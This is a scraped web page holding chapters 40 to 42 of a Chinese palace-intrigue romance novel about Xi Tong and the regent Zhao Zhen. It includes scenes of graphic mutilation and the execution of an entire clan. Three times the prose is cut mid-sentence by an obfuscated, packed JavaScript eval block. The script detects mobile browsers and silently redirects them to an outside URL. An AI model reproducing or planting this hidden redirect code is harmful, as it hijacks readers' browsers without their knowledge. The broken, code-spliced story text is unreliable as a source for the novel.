;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340695|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去找他。太伤自尊了。” “自尊哪有修为重要啊我的姐?!”紫虚满脸写着“你糊涂啊……” 奚瞳又硬撑几日,就连周韵仪都看不下去了:“瞳儿,我可听说赵臻跟朝廷告了病假,太医郎中来了好几轮,你当真不去看看吗?” 奚瞳咬了咬下唇,这件事奚瞳是知道的,裴鸣已经来知会过她了。 昨儿个清晨赵臻上朝,走到景熙大道时,百余名蒙面的江湖浪客突然从四面涌来。 青天白日,郎朗官道,谁也不曾想杀手当街就敢动手,而且人数还那般多。 赵臻只带了几名暗卫,寡不敌众。幸得赵臻武功高强,登天剑不离身,一番酣战,虽说肩头受了两道刀伤,但终究击退了杀手。 肩头伤口不深,三贤郡那案子已经审理到了关键阶段,赵臻不想误事,便简单包扎了一下,继续上朝去了。 可大朝晖殿群臣七嘴八舌没说几句,赵臻便觉胸口一阵剧痛,一口黑血当场吐了出来。 杀手的刀上,有毒。 赵臻被林载送回太傅府之后便卧床不起了。 奚瞳昨晚已经去偷偷看过他,裴鸣说太医和京中的名医都来看过,性命上已无大碍,只是毒素已经入了骨血,想要彻底清除,需要一段时日。 奚瞳看着床上安静睡着的赵臻,忍不住伸手摸了摸他的脸颊:“你只有不说话的时候,才讨人喜欢。” 说完,奚瞳便烫到了一般将手收回来,她这是在做什么,她为什么会摸他…… 想到昨晚的自己,奚瞳的耳朵又有些热起来。 她同周韵仪跳完舞,便回到厢房,沐浴过后,躺在床上发呆。 算了,赵臻若是实在不愿低头,那就她来低头吧,等他这次病好了,她把新学的水袖舞跳给他看。 想着想着,奚瞳的眼皮就有些打架,最终阖了起来。 “噔噔……噔噔噔……” 奚瞳又梦见了长秦宫破那个晚上,她寝殿的屋顶传来瓦片被踩踏的声音,紧接着就是一道烟花声响,马蹄声与杀声接踵而至。 又是这个梦,奚瞳在睡梦里拼命摇着头,她不要做这个梦。 “噔噔……噔噔噔噔……噔噔噔……” 声音愈发密集。 不对,这不是梦!奚瞳猝然睁开眼睛。 是刺客,太傅府有刺客。 赵臻……赵臻醒了吗……他是不是有危险…… 奚瞳顾不上穿鞋,赤脚朝赵臻的居室跑去,果真,她赶到的时候,十三他们已经在和黑衣人过招了。 刀光剑雨里,奚瞳拼命跑进内室,裴鸣他们守在那里,赵臻躺在床上,仍在睡着。 “赵臻还没醒吗?”奚瞳急切道。 裴鸣亦是焦躁:“尚有些发热,叫不醒。” “裴叔,赵府现在能调用的人手还有多少?我方才听到屋顶上有密密麻麻的脚步声,贼人仍有援兵。” “少爷的暗卫和部曲不少,但留在他自己身边的并不多,大都被他派遣,去了朝中重臣身边,以保他们的安全。不过十三他们武功高绝,应是……” “再高绝的武功也不能以一敌百啊。”奚瞳沉吟一会儿,朝外头喊去:“十三,想办法找人突围,去找林载调兵!” “是!”十三一边斩杀刺客,一边应道。 然而搬兵也需要时间,等待禁军之时,黑衣刺客鱼贯而入,十三他们的防线一点点被击退,已经陆续有黑衣人杀到内室来,就连裴鸣和伺候在旁的小厮也加入了战局。 “赵臻!”奚瞳拼命扳着赵臻的肩膀,喊他的名字:“赵臻你快醒醒!再睡会死的!” 此时一个举着长剑的刺客杀到了床榻之前。 “大人小心!”“奚瞳姑娘!”十三和裴鸣齐声喊道。 奚瞳看到贼人距离自己只有五步,但以她的身法,她其实是可以躲过去的。 可是似乎是一种本能,她没有走,而是整个人扑到了赵臻身上,将他护在了身下:“赵臻!” 奚瞳紧紧闭上眼睛,然则预想的剧痛迟迟没有到来。 她回头,只见一只大手紧紧握住了刺客的剑锋。 鲜血顺着他小臂的线条流下来,流到床榻上,沾染了奚瞳的裙裾。 弹指之间,十三来到了刺客身后,剑光一闪,刺客的头颅被生生砍了下来,奚瞳被这血腥的一幕吓到,不由瑟缩一下。 下一刻,流血的手掌就环住了她的腰,紧紧搂住了她,另一只手抚上她的脑袋。 “乖,别怕。”赵臻柔声安抚她道。 40.第 40 章 冷雨打湿人间路,千红败,万树枯。 奚瞳站在廊下听雨出神,不知此刻的大朝晖殿,赵臻还好吗? 亲阵子先后经历两场刺杀,剧毒加上外伤,让原本清瘦的赵臻更加形销骨立。 奚瞳沉默地陪伴着他,这份沉默并不是因为她还在同赵臻赌气,而是有些人在面临巨大的情绪波澜时,往往是无言的。 赵臻抬手迎上原本应当砍在她背上的兵刃,这使得他手掌的伤口几可见骨,奚瞳见了,方知剧痛原来可以通过视觉来传达。 奚瞳最近又反复梦到长秦亡国那日的城墙上,赵臻也曾试图伸手阻拦她自戕的长剑。 他……是想保护她的…… 奚瞳用了许多年去思考,赵臻为什么想要保护她,这种困惑几乎成为了她的执念。 天庭晋神一靠功德,二靠修为,她以身殉国,功德已够,可修道多年,因为这桩执念,仙根无论如何都不得精进。 然则那日刺杀,让奚瞳豁然开朗,有时候保护一个人,或许无需其他繁复的理由,仅仅是出于本能罢了。 就像她扑在了赵臻身上,就像他抬起了他的手。 奚瞳觉得自己在世为人的时间似乎是太短了,长秦的记忆停留在十九岁,她的心智也停留在十九岁。 因为父兄昏聩无能,母亲忙于后宫争斗,她自幼就对自己要求严苛,她在理智上迫使自己成为强者。兴,她是王朝的荣耀,亡,她是王朝的尊严。 如自己期许的那般,她做到了,这甚至为她谋得了仙缘和长生。 似乎是一件值得骄傲的事情,可奚瞳也有空虚和遗憾。她现在想想,抛却理智,她在情感上实在是太愚笨了。 这种愚笨让她没能深刻地感受别人。 有的人浮于表面的情绪背后,还有更为复杂的七情六欲。 比如……赵臻。 而她对此毫无察觉。 他对她的厌恶、怨恨、忌惮之下,一定埋伏着更为汹涌的浪涛。 否则,他怎么会成为她一生之中,唯一想要保护她的人。 赵臻对奚瞳来说,是唯一的。 当奚瞳意识到这一点时,她同赵臻已经殊途,生也殊途,死也殊途。她死后扶摇直上九重天,他死后一身业障入黄泉。 “为什么不说话。”赵臻的身子已经好一些。 奚瞳垂眸,掩去眼底氤氲,再抬头时,语气郑重:“赵臻,我不想你死。” 如今不想,五百年前,也不想…… “呵……我师父是有名的道宗,我体内有他炼的丹药。寻常毒计,伤身不伤命,我死不了。”赵臻道。 “伤身多了,哪有不伤命的。那丹药保你一时,能保得了一世?”奚瞳恹恹。 又是默然半晌,赵臻蹒跚下了床,坐到她身边,盯住了她的眼睛。 “如果将来天下人,都要我死呢?”赵臻有些苍凉地问道。 奚瞳蹙眉不解。 赵臻正色道:“奚瞳,接下来,我会杀很多人。这些人里,会有老者,有妇人,有孩子。京城会血流成河,大盈会尸横遍野。这一笔笔的杀孽,会一直伴随着我,造就我生前身后所有名声。” “赵臻……” 奚瞳还没来得及说什么,赵臻便打断她:“奚瞳,如果真有天下人都巴不得我死的那天,你也陪陪我吧,好吗?” 奚瞳看着赵臻的脸,刀凿斧刻一般精致,天上的神君们也不及他七分颜色,这张在记忆里始终或狠戾或阴鸷的脸,在此刻第一次呈现出柔情, “好。”奚瞳应道。 赵臻随即笑了,奚瞳因这个笑容而怔愣,他过往从未这般笑过,像是明天无限好,又像是不会有明天。 …… 两天前,赵臻的伤势已经大好。 昨日,他拒绝了奚瞳的陪伴,独自进入了剑阁。 天空下起细密而延绵的雨,深秋的雨水一场寒过一场,冬天的凛冽气味已经密布于空气之中。 今日辰时,枯坐一夜的赵臻自剑阁出,前往宫城。 三贤郡的案子已经审结,会有一个家族于今日覆灭。 奚瞳知道,这就是赵臻所说的杀孽,大盈从今日起,开启了易主的征程。 …… 宫城,大朝晖殿,除了群臣,三贤郡烹小鲜吃人案的涉案九姓,全部家眷,共计千余人,被赵臻派出的禁军和暗卫一道绑到了殿外。 他们密密麻麻跪在细雨中,这些人中的大多数不曾把赵臻放在眼里,可望见王位之上,以往坐着幼帝,今日却坐着一身玄黑朝服的赵臻时,他们又都不由害怕起来。 大臣之中到底有不长眼的。 “赵臻,你乃臣子,岂敢坐于龙座之上?!” 赵臻把玩着拇指上的扳指:“先帝赐我摄政监国之权,我应立于高台之上,王座之侧,陛下告病,亦须如此。然则今日有大案要判,陛下不来,并非有疾,而是太后觉得陛下年幼,不宜目睹此等血腥场面。然陛下心系朝政,特命我代君监刑,故而坐于高座。诸位若心有不平,其后可去找陛下太后要说法。如今,还是要先办正事。” 赵臻这番话其实狗屁不通,君王再怎么让你代君行事,也不会允许你染指他的龙椅。 但赵臻就是这么做了,他就是要将自己的意图昭示天下,这江山,他赵臻要了。谁若拦他,大可来试。 臣子们嗫嚅,却不敢多言,殿外雨中的哭喊从未停息,惹得他们心烦也心虚。谁都不知道赵臻绑了那么多人来做什么,他们都知道赵臻肯定还没疯到把这一千多口子人全杀了,但既然不杀,又为何要抓,他们想不明白。 “张逑。说罢。” 赵臻开口,廷尉监张逑开始宣读三贤郡一案的调查结果。 群臣听得战战兢兢,皆不敢言。 赵臻见他们丧家之犬一般,没了平日里的气势,不由笑了。 他的视线凝结在一处:“严衷大人,人证物证俱全,你把持烹小鲜,谋财帛万千,害性命无数,廷尉监定你严家为首罪,你可有话说?” 首罪者,诛九族,赵臻昔日的话言犹在耳,严衷如何更轻易认罪。 他方才分明听到张逑说廷尉监的人在他府上搜出了烹小鲜的账本,随即他便意识到是孙家出卖了他,将账本栽赃到他头上。 “太傅大人!臣承认,臣确实曾去烹小鲜……去……但臣只是图个新鲜,从未把持什么生意,是孙家!一直是孙家举办清谈宴饮,要我们烹小鲜清谈!请大人明鉴!” 度支尚书孙材立马挑了出来:“你少血口喷人,明明是我们受你邀请去尝鲜,而且吃的那些……那些……都是你送过去的人!” 平日称兄道弟的两位重臣,为了将罪责推给对方,当场扭打起来,恨不得撕破对方的脸皮才好。 赵臻高高在上俯视这他们,只觉得好笑。 周正和周演好不容易将二人拉开,刚要求情,赵臻却不让他们开口。 “闹也闹够了,我早就说过,今日一定要给那些枉死之人一个说法。”赵臻的声音平静,平静到有些苍冷:“来人,将左民尚书严衷、乐正严铄拿下。” “大人,臣冤枉啊大人!”严衷仍在含冤。 严铄却破口大骂道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376272|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“赵臻你这狗娘养的,你岂敢动我?!我严家百年世家,你算什么东西?!” 周正终于得了空子:“严铄!” 他先制止了这个草包,继而转头道:“太傅,严衷已经在朝二十五年,没有功劳也有苦劳,灾年刚过,陛下年幼,不宜杀戮,能否看在他兢兢业业的份儿上,给他……” “他严家奸/淫掳掠,吃人不吐骨的时候,何曾想过灾年刚过,陛下年幼啊?”赵臻问道。 “赵臻你这贱种!你不得好……呜呜呜……” 禁军将严铄的嘴巴捂住,赵臻却抬手:“让他说。” 严铄两侧的禁军对视一眼,迟疑着将塞到他口中的麻布拿了出来。 严铄烂命一条,豁了出去:“贱种!靠着跟太后睡觉,当太后的狗,才换了一个官位,你这样的腌臜货,在这里装什么大义凛然?!狗娘养的!你爹你娘定是生了猪狗心肠,才生出你这一坨烂肉。” 严铄的嘴太快,快到所有人都反应不过来,赵臻却笑了:“这舌头,真好使啊,来人,把他舌头露出来,让我瞧瞧清楚。” 说罢,两个紫衣暗卫飞身到了严铄身边,面如罗刹。 严铄有些慌张:“你们要做什么?!你们不是朝廷的人!你们要做什么?!啊!啊啊啊!!!” 血腥的一幕让在场所有人心惊齿寒。 只见两个暗卫分别手持一柄细小短匕,寻机插入严铄口中,狠狠向两侧唇角拉开,生生划开血肉,造就一张血盆大口,紧接着,严铄整个下巴都被割了下来,舌头光秃秃耷拉在外头。 严铄剧痛大叫,严衷看到儿子的惨状,彻底腿软,瘫坐在地。 剧痛稍稍缓解之后,严铄反应过来自己如今面临的是怎样的命运。 他突然跪了下来,没了口腔的包裹,他的声音含混不清,隐约听到的,只有“饶命”二字。 大臣们何曾见过这等场景,纷纷颤抖着噤了声。 严衷瘫坐一会儿,想到了什么,他突然拼了命的磕头:“大人,臣认罪,臣愿意伏法。但是大人,臣的祖父今年已经九十有六,膝下稚子刚满两岁,臣求大人,饶他们一条性命。来世臣结草衔环,报答大人!求求大人!大人!臣求您了!” 赵臻冷笑着叹息一声:“严衷,事到如今,我只两句话告诉你。第一句,你害死的那些人,也有祖父,也有稚子。第二句,你的靠山周正大人,至今都在为一件事终日后悔,你可知是什么吗?” 所有人都没有想到赵臻会把周正以这样赤/裸的方式拉到了今日的乱局上,严衷抬起已经磕青了的脑袋,迟疑地望向周正。 只听赵臻接着说:“他终日后悔,当年赵家灭族,他没能斩草除根。严衷,我不是周正,你明白了吗?” 严衷听完这句话,喉咙里发出恐惧和哽咽凝结成的短促的泣声。 赵臻的判决终于来到了他的面前:“左民尚书严衷,罪大恶极,凌迟。严家九族,无论男女老幼,枭首。即刻行刑,群臣及家眷观刑,严家九族未死,众人不得离宫。” 话音落下,赵臻闭上了双眼。 大朝晖殿外,是人头一个个落下的声音,鲜血混着雨水冲刷着石板,像是蜿蜒的溪河,整个宫城被恐惧的哭喊声和浓稠的血腥味包裹。 所谓炼狱,不过如此。 当人头点地的声音消失,哭喊渐渐无力,赵臻睁开了眼睛。 座下的朝臣一个个冷汗涔涔,白着一张脸。 赵臻站了起来,眼底一片讥诮:“三贤郡一案,涉事者九姓,今日仅严家伏诛,已是赵某手下留情。诸位,好自为之。” 41.第 41 章 严家九族伏诛,其余涉事的八姓世家也并不好过。 于家的老太爷七十多岁了,观刑回去后当晚便归了西,一双眼睛因为苍老而浑浊,至死都满是害怕地睁着,死不瞑目;其余府上都有些经不住事的夫人小姐,睡一觉起来变得疯疯癫癫;还有一些心智薄弱的公子,想到严铄死前被活生生切下来的下巴,生怕他的昨日便是他们的明朝,有人恐惧自裁,有人连夜收拾细软,远走天涯。 京中九大世家,一夜之间,竟成分崩离析之态。 这一遭下来,赵臻在朝中的地位已经今非昔比,朝廷上说话夹枪带棒的同僚乖顺不少。赵臻入仕十年,刀锋上走惯了,如今竟是像是终于走到了平地坦途,脚掌着了地,走得稳健多了。 可奚瞳看得出来,赵臻不痛快。 她大致能猜到他不痛快的原因,只因他不是个彻头彻尾的权欲者。 自古为君者,最怕两种情形,一怕仁君缺了血性,二怕枭雄留了善心。赵臻变就是良知充盈的枭雄。那日大朝晖殿外,各家哭嚎的老弱妇孺,未必没有哭到赵臻心里,杀孽是他造下的,那么道德与人性带来的折磨,自然也要他自己受着。 赵臻默然数日,奚瞳实在看不下去,得空逮了他,便同他下棋、给他跳舞。 然则奚瞳用尽浑身解数,也未能博得赵臻一笑。 此日她在赵臻跟前怒甩半个时辰水袖,抛媚眼抛的眼皮都要抽筋了,见赵臻毫无反应,便也动了气,操起桌上一个苹果就扔到他怀里。 赵臻本在出神,叫她吓一跳,不禁拧眉。 奚瞳没好气:“别人跳舞,是陶冶情操,锻炼身体,我倒好,彩衣娱亲!还死活娱不成功!来年京城别举孝廉了,举我!” 赵臻听了这话,先是愣了愣,继而弯起唇角,笑了。 奚瞳这才敛了怒容,坐到书案前,他的对面。 奚瞳托起腮,仔细观摩起赵臻的脸。看着看着,她便心生感叹,山楂小排那么美味,可连吃三日她便腻了,但世上怎么会有赵臻这样的一张脸,天天这么看着,依旧觉得秀色可餐。 奚瞳的目光直白炽热,赵臻年近而立,纵横朝堂十载,却从未经历过这样的注视。她的眼睛深邃锋利,似乎能剥去他的衣服、离断他的肌肤,将他的心、他的灵魂赤/裸/裸横陈在她面前,让她瞧个够。 赵臻放在膝上的食指动了动,他下意识地想要低头逃避,却听奚瞳开了口。 “赵臻,有没有人告诉过你,你笑起来很好看。” 赵臻尚未低垂的眼眸重新迎向奚瞳的眼睛,他心跳如鼓,满脑子只有两个字:妖女。 许是身居高位又长年习武的原因,赵臻凝神的时候,眼底常常散发出几分剑气。 奚瞳以为是自己说话说得不恰当,又惹了这位太岁不高兴,于是赶紧补了一句:“当然啦你浑身上下都好看,我是说你笑起来尤其好看。” “你……” “赵臻,我喜欢看你笑起来的样子,你要多笑。”奚瞳真挚道。 赵臻闻言,终是将头微低下去,他有些无奈地轻轻阖上眼睛,平复着身体里那轻易被奚瞳撩起的情潮。 继而,他似是放弃了某种挣扎:“遇到我之前,你也这样同别人说话吗?” 奚瞳想了想:“我小时候骄纵,骂人的时候多,夸人的时候少。现在想想,很不应该。” 奚瞳说到这里,露出一个烂漫的笑容,她抬起身子,伸手摸了摸赵臻的头:“我从很久之前,就应该夸你了,赵臻,你真的很好。长得好,心也好,可就是嘴笨了些,所以吃了很多亏,也吃了很多苦。以后不要这样了,要快乐。” 赵臻的身体因奚瞳的动作而僵直,可心中却是激烈地震动着。 这种震动让他产生了一种别样的感受,疼痛、酸涩、痒……还有……渴望。 如果说之前赵臻只觉得自己是在近乎病态地渴望着奚瞳的身体,那么此刻,他清晰地知道,他渴望她的爱。他希望眼前这个出身卑贱的伎子,赐予他恒久温暖的爱意。为了得到这份爱意,他愿意不择手段。 想到这里,赵臻猛然惊醒,他怎会生出这样卑微的心思,且还那般……贪婪。他猝然抬手,掣住了奚瞳的腕子。 奚瞳的眼神流露出不解。 “我说过,我给不了你任何名分,不要妄图从我这里得到什么。”赵臻警告奚瞳。 奚瞳因这句话而怔忪,她方才的动作,并非贪图赵臻的什么,只是有感而发罢了。可此刻赵臻这样说,她却也有些入了心。 其实赵臻之前也曾这样说过,但那时候她觉得稀松平常,并不在乎。可如今,她察觉到心中的异样,赵臻的这句话,竟有些让她痛了。 于是她将手收回来:“对不起,是我……是我失态了。” 赵臻心尖蓦然一阵冷风吹过。 就在两人各怀心事,相顾无言时,一双眼睛自院落中秋海棠树的后头望过来,他们二人皆未曾注意。 …… 栖梧宫,一只茶盏被狠狠摔在地上,发出脆烈的响声。 阖宫奴婢皆叩首:“太后娘娘熄怒。” 满头珠翠艳冠大盈的太后周怀淑双眸噙着泪,颤声说道:“你……再说一遍。” 跪着的小宫女双肩发抖,但还是入如实答道:“奴……奴婢遵照娘娘的意思,去太……太傅府给大人送信,看到太傅大人正与一女子调……调情。” 周怀淑的掌心要被她自己的指甲掐出血来,她喃喃着:“调情……调情……如何调的?” “那女子给太傅大人跳舞,还……还抚摸太傅大人的头顶,同太傅大人有说有笑。” 周怀淑轻笑了一声,眼泪因为声带的震动突破了眼睑的桎梏,流淌到雪腮之上:“好。很好。我竟不知大盈有这般有本事的女子。” 说罢,她看向贴身侍女青璃:“太史令昨日呈的天象奏书说,约莫半月后,京城大雪,绵延数日,恐尤不止,是吗?” 青璃俯身:“是。” 周怀淑抬手,轻轻拭去眼角的泪:“呵,本宫倒是要见识一下,这女子有什么了不得的狐媚手段。” 青璃默不作声,眼睛看向主子,有担忧之色。 …… 最近几日奚瞳眼见着赵臻忙碌起来。 那日她给赵臻跳完舞,宫中就来了信,赵臻的忙碌从那时开始。 听说太史令夜观天象,道不久之后京城会有百年不遇的大雪。近来天空也肉眼可见的阴沉下来,一席水洗碧,换作灰呼呼的磁青色,无云也无日,天地间只剩一种干裂的冷,冷得让人心里发怵。 天象关乎民生,稍有差池,农人、走商都会受到很大影响,大盈百姓明年就要吃不上饭了。于是一道道的诏令从太傅府发出去,朝廷各部都因这些诏令有了差事,着手应对即将到来的雪天。 奚瞳裹着赵臻找人新给她做的雪锦银狐裘,在书房支了小炉子,烤红薯和橘子,而赵臻则伏案疾书,眉头像是被冷空气锁住,怎么也展不开。 奚瞳伸手戳一戳表皮已经被烤得鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13419297|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来的红薯,已经软了,她被烫得龇牙咧嘴,直摸自己的耳垂。待指腹的温度缓过来,她便拿了夹子,将已经有些出油的红薯放到碟子里,端到赵臻跟前,赵臻眼皮都不抬一下。 奚瞳好奇,探头看他笔下的字:“你到底在愁什么?” 赵臻将滴血羊毫搁到一边,叹息道:“这天一日阴过一日,确是大雪之兆。朝廷已经数番提醒过百姓,让他们提前预备,收拾自己的庄稼,以应对连日大雪。可百姓们都没有动作,这样下去,京城这大好的良田,今年就要废了,且不知要用几年才能缓过来。” 奚瞳沉吟片刻:“赵臻,你种过地吗?” 赵臻这才看向奚瞳,摇了摇头。 奚瞳在天庭是掌管酒水的,她隔壁宫室的邻居,恰好是蟠桃林的掌事仙娥。桃林仙子能得这样一个差事,正是因为生前善耕种,身为女子,她靠着种地富甲一方,广施恩惠,赈济各地灾民。 桃林仙子十分以自己在人间的成就为傲,每每与奚瞳对饮,微醺之后总是对人间之事滔滔不绝,五百年下来,奚瞳已经是一个理论上的种地天才。而且前阵子她也实践过了,确实有用,她在太傅府种的花花草草,包活包茂盛的。 奚瞳在脑海里整理了一下桃林仙子传授给她的知识,继而看向赵臻:“民间应对雪情,程序很繁杂。他们要重新翻动土地,以免大雪过后结冰,害了庄稼的根。有的作物很是脆弱,要在外头用毡布围起来,避免它们受到大雪侵害,它们才能活下来。至于已经长成采摘的粮食蔬菜,农人们要挖地窖,将它们放进去,才不会冻伤,日后才能吃。可你知道,这些活计做下来,要花费多少钱财和人力吗?说不定会远超三到五年的赋税。而且百姓们的智识同你们不能相比,大都有个赌的心思,万一这雪不下呢?与其如此,还不如就按兵不动。” 赵臻低头沉思半晌:“若是这样,倒是不难办。” 奚瞳挑眉:“你有办法?” “叫城郊的驻军去老乡家里,帮忙做这些事。”赵臻开口:“大盈军令严苛,平日里兵马操练艰苦,替百姓做些活,总比练兵轻松些。做得好的,可换休沐三日,赏银二两。” 奚瞳点头:“这倒是个好法子。” 赵臻又想起什么:“奚瞳,过几天我要出门一趟。” 奚瞳有些意外,他以往出门都是带着自己的,但这次显然没这个意思:“你要去哪里,要很久吗?” “倒是不远,去城外天幕山别苑,围炉清谈就要开始了,今年,我须得到场。只是世间不好说,快则三五日,慢则半月。”赵臻回答。 奚瞳垂首,赵臻素来厌恶清谈,他说这些文人墨客凑在一起,喝酒唱歌,说的都是些废话。他们谈世间万事是有还无,谈音律丹青有无哀乐,但朝廷难关、民生多艰,他们是谈不了一点。 “可是你诛杀严家一事,被鸿儒们计较了?”奚瞳猜测。 赵臻没有否认。 奚瞳点头,要知道世间最可怖的,往往不是武功高手的刀剑,而是犟种文人的喉舌和笔墨,看来这次的舆论风波还不小呢,逼着赵臻亲自到场,收拾乱局。 奚瞳扯出一个满是安慰之意的笑容:“我会照顾好裴叔小六子他们,你放心做你的事,我等你回来。” 窗外的冷风发出一阵阵呼啸之声,可赵臻胸腔里蔓延出汪洋暖意,已经许多年不曾有人对他说过“等你”了。 他先前只将威严的太傅府当做盛放肉身的一处宅子,可此时,他觉得,这里似乎有了“家”的味道。 42.第 42 章 赵臻出发去天幕山的那天,都城倏忽冷下来,奚瞳穿一件银狐裘都不够,须得在怀里时刻揣一个暖手炉才好。 她同紫虚和周韵仪一道在炭盆跟前坐着,撑起一张桌案,做一些果脯点心,冬天是做这些东西的好时节。 紫虚用一把小秤称好了糖,刚要和进面里,却被奚瞳挡了一下,又拨了一些糖出来,她才满意一笑。 紫虚努嘴:“点心还是甜一些好吃。” 奚瞳温声道:“赵臻挑嘴,不喜太甜。他本就消瘦,我们迁就他一些,可好?” 紫虚不情愿大盈下来,周韵仪瞧了奚瞳一眼,有些泄气:“若让我父兄知道,我住在太傅府这段时日,做的是同你们一样的活儿,非要臭骂我不可。” 这话奚瞳是明白的,紫虚却有些不解:“我们做的事也挺有也意思啊,不然你父兄希望你做什么?” “他们希望我把赵臻睡了。”周韵仪大方道。 周韵仪太过直白,以致紫虚被口水呛了一口。 奚瞳被周韵仪逗笑:“恐怕还不止吧,周大人还希望你睡出风格睡出水平,让赵臻离不开你才好。” 说到这里周韵仪便来气,她刚来的时候也是努力过的,比如夜半时分穿着清凉去找赵臻。 结果赵臻都懒得跟她说话,他瞧她一眼,咳嗽一声,一个黑衣男子“刷”地就从房梁上跳下来了,紧接着那男子便以迅雷不及掩耳之势将外衣脱下来,罩到她身上。她反应过来的时候,双脚已经离了地,下一刻,就被扔了出去。 周韵仪何曾受过这等奇耻大辱,从那之后,她便再也没去找过赵臻,而是思考着如何另辟蹊径,成为赵臻的人。 她的这些心思,奚瞳不知道,她依旧找她学舞,同她亲近。 所以周韵仪对奚瞳很好奇。 她生于世家,父兄皆是妻妾成群,她自幼见的,都是女子们为了一个男人在后宅里厮杀,输了的结局凄惨,赢了的也未必好过,因为花无百日红,总有新人来。 所以周韵仪不明白,奚瞳怎么会在面对“情敌”的时候,如此淡然。 “奚瞳,你喜欢赵臻吗?”周韵仪问出了口。 奚瞳捏着面团的手蓦地停住了,她想要说话,才发现舌根僵硬,有些发不出声。 若是数月之前,听到这个问题,她会毫不犹疑地回答:“喜欢什么喜欢,我跟他是仇人。” 可如今,还只是仇人吗? 窗外一阵风吹过,声如呜咽。 奚瞳循声望去,只见一片片的白扑簌簌落下来。 她的眼睛微微弯了起来,檀口微张,声音里透着温情:“下雪了。我……很喜欢。” “我问你喜不喜欢赵臻,你却说你喜欢下雪。真不知道你脑子里在想些什么。”周韵仪唠叨着抱怨。 正在此时,管家裴鸣带着一名内侍走了过来。 “奚瞳。”裴鸣面色凝重,喊了奚瞳一声。 奚瞳望过去,还没说什么,便听到内侍尖细的声音,有些刺耳。 “哟,这便是奚瞳姑娘吧。”内侍脸上堆着笑:“太后娘娘邀您进宫一叙,请吧。” 奚瞳诧异,太后找她做什么? 可她没有思忖太久,宣召她的是当朝太后,是整个大盈最有权力的女子,她不可能抗旨。 于是她乖顺起身,却被周韵仪拉住了袖子。 周韵仪的眼神满是告诫,对奚瞳摇了摇头。 奚瞳则将手放到周韵仪的手上,轻轻拍了拍,以视安抚。 其实奚瞳对这桩事大致有猜测,太后找她,估计还是跟赵臻有关,可能会问她一些赵臻的事。顶多因为吃醋,让她吃一吃苦头。不过赵臻的为人,太后不会不清楚,即便要为难她,应当也不会太过分。 看着奚瞳离开的背影,周韵仪却有着与奚瞳全然不同的思量。 裴鸣本就担忧,他眼见着周韵仪满脸焦躁,不禁问道:“二姑娘,奚瞳此去,不会有什么危险吧……她到底是大人的人,太后娘娘应不会……” 周韵仪声音肃然:“你们不了解周怀淑,她为了得到自己想要的,什么都做得出来。这些年她对赵臻爱而不得,只是赵臻不近女色,她才安生一些。如今奚瞳入了赵臻的眼,她岂会放过。” “那可如何是好?”紫虚也着急起来,若是奚瞳折在宫里,她们这一世就白费了:“要不我们快马加鞭去找太傅大人。” 周韵仪摇头:“算算时辰,赵臻他们此时已经出城了,咱们没有通关文牒,要接受重重排查才能出去,等到追上去,黄花菜都凉了。” 裴鸣猛然想起什么:“林载大人肃卫宫城,而且大人留在府上一些部曲,不如我让他们……” “那是皇宫。”周韵仪打断裴鸣:“林载执掌禁军不假,但他还能违逆太后不成?至于那些部曲,擅闯皇宫是什么罪过?谁能担得起?!” “那可如何是好?”裴鸣急得直跺脚。 周韵仪思忖片刻,福至心灵:“裴叔,你飞鸽传书给赵臻,通知他奚瞳恐有祸事。另外,着人去通知黄门侍郎周潮,他或许能拦着周怀淑。” “好。” …… 奚瞳抵达宫城的时候,雪已经下大了,鹅毛一般,落在衣襟上,好一阵子都化不开。 宫城不许策马行车,从宫门到栖梧宫这段路,奚瞳须得走过去。 这宫城真大啊,奚瞳感叹,似是走也走不完。 用了足足小半个时辰,奚瞳才终于到了太后宫里。 太后已经梳妆好了,坐在凤座之上等她。 奚瞳收起伞,交给内侍,俯身道了谢,又掸去衣上雪痕,走到太后跟前,跪身道了一句:“拜见太后。” 周怀淑冷眸睨着眼前的丫头,自进门到如今,她做派实在不错,不知道的还以为她是哪家的贵族小姐。 然则寻常女子这样,当得一声好教养。可奚瞳,区区一个奴婢,如此卑贱之人,这样的做派,是在对她这个太后示威吗? 周怀淑并未让奚瞳起身,只道:“抬起头来。” 奚瞳闻言,抬头注视着周怀淑。 就这一眼,奚瞳也要感叹,周怀淑真是长了好美一张脸,美到令她有些词穷,沉鱼落雁 、闭月羞花之类,都觉得有些辜负了她。 “你是哪里人?如何进的太傅府?” 果然,奚瞳想,太后真是痴心人,问题离不开赵臻。 她老实回答:“我是虹州人,先前在司隶校尉陆忧大人的府上做伎子,后得太傅大人垂怜,以门客身份,招揽入府。” 